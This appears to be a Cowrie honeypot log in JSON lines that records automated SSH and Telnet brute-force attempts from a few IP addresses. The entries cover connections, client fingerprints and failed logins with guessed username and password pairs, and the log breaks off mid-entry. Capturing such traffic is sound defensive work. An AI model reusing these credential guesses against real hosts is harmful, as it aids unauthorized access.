{"eventid":"cowrie.login.failed","username":"root","password":"qwer@123.","message":"login attempt [root/qwer@123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:40:00.849540Z","src_ip":"104.208.108.166","session":"fe2480e93cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:40:02.068800Z","src_ip":"104.208.108.166","session":"fe2480e93cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":53452,"dst_ip":"10.17.0.5","dst_port":22,"session":"09e112a0ddf2","protocol":"ssh","message":"New connection: 104.208.108.166:53452 (10.17.0.5:22) [session: 09e112a0ddf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:40:54.160806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:40:54.165067Z","src_ip":"104.208.108.166","session":"09e112a0ddf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:40:54.397636Z","src_ip":"104.208.108.166","session":"09e112a0ddf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir123","message":"login attempt [amir/amir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:40:55.361071Z","src_ip":"104.208.108.166","session":"09e112a0ddf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:40:56.596935Z","src_ip":"104.208.108.166","session":"09e112a0ddf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":20512,"dst_ip":"10.17.0.5","dst_port":22,"session":"57183f7f5b8c","protocol":"ssh","message":"New connection: 104.208.108.166:20512 (10.17.0.5:22) [session: 57183f7f5b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:41:48.835357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:41:48.839985Z","src_ip":"104.208.108.166","session":"57183f7f5b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:41:49.054984Z","src_ip":"104.208.108.166","session":"57183f7f5b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWE123456rty","message":"login attempt [root/QWE123456rty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:41:49.945065Z","src_ip":"104.208.108.166","session":"57183f7f5b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:41:51.161682Z","src_ip":"104.208.108.166","session":"57183f7f5b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":13056,"dst_ip":"10.17.0.5","dst_port":22,"session":"88c9eb4ae861","protocol":"ssh","message":"New connection: 104.208.108.166:13056 (10.17.0.5:22) [session: 88c9eb4ae861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:42:44.087705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:42:44.091045Z","src_ip":"104.208.108.166","session":"88c9eb4ae861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:42:44.310311Z","src_ip":"104.208.108.166","session":"88c9eb4ae861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"test123","message":"login attempt [test3/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:42:45.221506Z","src_ip":"104.208.108.166","session":"88c9eb4ae861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:42:46.445715Z","src_ip":"104.208.108.166","session":"88c9eb4ae861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":7446,"dst_ip":"10.17.0.5","dst_port":22,"session":"928abbad1c49","protocol":"ssh","message":"New connection: 104.208.108.166:7446 (10.17.0.5:22) [session: 928abbad1c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:43:37.167354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:43:37.172267Z","src_ip":"104.208.108.166","session":"928abbad1c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:43:37.400312Z","src_ip":"104.208.108.166","session":"928abbad1c49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin123","message":"login attempt [admin1/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:43:38.345303Z","src_ip":"104.208.108.166","session":"928abbad1c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:43:39.576266Z","src_ip":"104.208.108.166","session":"928abbad1c49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.160.27.225","src_port":57132,"dst_ip":"10.17.0.5","dst_port":23,"session":"abcfd79d3d07","protocol":"telnet","message":"New connection: 103.160.27.225:57132 (10.17.0.5:23) [session: abcfd79d3d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:07.321481Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.63","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"052cc5fed109","protocol":"ssh","message":"New connection: 160.119.76.63:44472 (10.17.0.5:22) [session: 052cc5fed109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:15.818585Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:15.925449Z","src_ip":"160.119.76.63","session":"052cc5fed109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.774352312088013,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:21.095695Z","src_ip":"103.160.27.225","session":"abcfd79d3d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":38413,"dst_ip":"10.17.0.5","dst_port":22,"session":"da5cc988be3a","protocol":"ssh","message":"New connection: 2.57.121.112:38413 (10.17.0.5:22) [session: da5cc988be3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:24.036814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:24.041380Z","src_ip":"2.57.121.112","session":"da5cc988be3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:24.147057Z","src_ip":"2.57.121.112","session":"da5cc988be3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210583","message":"login attempt [admin/210583] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:24.642649Z","src_ip":"2.57.121.112","session":"da5cc988be3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210582","message":"login attempt [admin/210582] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:25.753259Z","src_ip":"2.57.121.112","session":"da5cc988be3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210577","message":"login attempt [admin/210577] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:26.862606Z","src_ip":"2.57.121.112","session":"da5cc988be3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210575","message":"login attempt [admin/210575] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:27.972508Z","src_ip":"2.57.121.112","session":"da5cc988be3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21051978","message":"login attempt [admin/21051978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:29.082102Z","src_ip":"2.57.121.112","session":"da5cc988be3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:30.194300Z","src_ip":"2.57.121.112","session":"da5cc988be3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":48070,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c81b6cb2808","protocol":"ssh","message":"New connection: 104.208.108.166:48070 (10.17.0.5:22) [session: 1c81b6cb2808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:30.682341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:30.687216Z","src_ip":"104.208.108.166","session":"1c81b6cb2808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:30.903244Z","src_ip":"104.208.108.166","session":"1c81b6cb2808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Digital","message":"login attempt [root/1Digital] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:31.794523Z","src_ip":"104.208.108.166","session":"1c81b6cb2808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:44:33.013514Z","src_ip":"104.208.108.166","session":"1c81b6cb2808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":49024,"dst_ip":"10.17.0.5","dst_port":22,"session":"74a1536254f1","protocol":"ssh","message":"New connection: 104.208.108.166:49024 (10.17.0.5:22) [session: 74a1536254f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:45:24.746542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:45:24.751404Z","src_ip":"104.208.108.166","session":"74a1536254f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:45:24.979725Z","src_ip":"104.208.108.166","session":"74a1536254f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devtest","password":"devtest","message":"login attempt [devtest/devtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:45:25.921330Z","src_ip":"104.208.108.166","session":"74a1536254f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:45:27.152557Z","src_ip":"104.208.108.166","session":"74a1536254f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":27448,"dst_ip":"10.17.0.5","dst_port":22,"session":"236eca8c3701","protocol":"ssh","message":"New connection: 104.208.108.166:27448 (10.17.0.5:22) [session: 236eca8c3701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:18.931960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:46:18.936544Z","src_ip":"104.208.108.166","session":"236eca8c3701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-gr